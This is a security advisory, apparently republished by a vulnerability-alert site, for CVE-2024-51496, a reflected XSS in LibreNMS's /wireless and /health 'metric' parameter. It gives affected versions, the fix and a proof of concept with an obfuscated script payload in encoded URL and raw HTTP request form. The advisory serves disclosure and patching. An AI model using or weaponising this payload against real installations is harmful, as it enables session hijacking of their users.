First published: Fri Nov 15 2024(Updated: )
### Summary A Reflected Cross-Site Scripting (XSS) vulnerability in the "metric" parameter of the "/wireless" and "/health" endpoints allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "metric" parameter, potentially compromising their session and allowing unauthorized actions. ### Details The "/wireless" and "/health" endpoints are vulnerable to reflected XSS in the "metric" parameter. An attacker can inject the following XSS payload into the "metric" parameter: ```<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<!---->``` When the page is loaded with this malicious parameter, the script executes immediately. The vulnerability occurs due to improper sanitization of the "metric" parameter in the following sinks: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/wireless.inc.php#L82 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/health.inc.php#L114 ### PoC 1. Inject the following payload into the "metric" parameter of the "/wireless" or "/health" endpoint: ```<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<!---->``` 2. Access the page with the injected payload. 3. Observe that the injected script executes upon loading the page. Example URL: ```http://<your_url>/wireless/metric=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C!----%3E``` Example Request: ```http GET /wireless/metric=%3Cscript%3Econstructor[%27constructor%27](atob(%27Y29uZmlybShkb2N1bWVudC5kb21haW4p%27))();%3C!----%3E HTTP/1.1 Host: <your_host> Cookie: <your cookies> ``` ### Impact This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.
Credit: security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
composer/librenms/librenms | <=24.9.1 | 24.10.0 |
LibreNMS | <24.10.0 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
CVE-2024-51496 is considered a high severity vulnerability due to its potential for allowing attackers to execute arbitrary JavaScript.
To fix CVE-2024-51496, users should upgrade to LibreNMS version 24.10.0 or later.
CVE-2024-51496 affects LibreNMS versions up to and including 24.9.1.
CVE-2024-51496 is a Reflected Cross-Site Scripting (XSS) vulnerability.
CVE-2024-51496 can be exploited on the '/wireless' and '/health' endpoints of LibreNMS.